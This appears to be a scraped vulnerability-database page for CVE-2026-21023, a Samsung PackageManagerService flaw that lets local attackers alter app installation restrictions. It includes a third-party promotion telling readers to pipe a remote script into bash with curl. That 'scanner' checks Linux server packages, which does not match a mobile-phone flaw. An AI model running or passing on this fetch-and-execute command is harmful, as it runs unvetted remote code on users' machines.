NVD · CVE-2026-21023

CVE-2026-21023

Published: Wed, 29 Apr 2026 05:16

CVE-2026-21023

Summary

Insufficient verification of data authenticity in PackageManagerService prior to SMR Mar-2026 Release 1 allows local attackers to modify the installation restriction of specific application.

Are YOU affected by CVE-2026-21023?

5-second check on your actual server. Reads /etc/os-release, uname -r, and dpkg-query; matches against the live USN + Debian Security Tracker feeds; tells you whether CVE-2026-21023 (and any other live CVE) applies. Anonymous, no signup.

curl https://mindsparkstack.com/scan.sh | bash

Form-based quickscan Read the bash source first

References

https://security.samsungmobile.com/securityUpdate.smsb?year=2026&month=03

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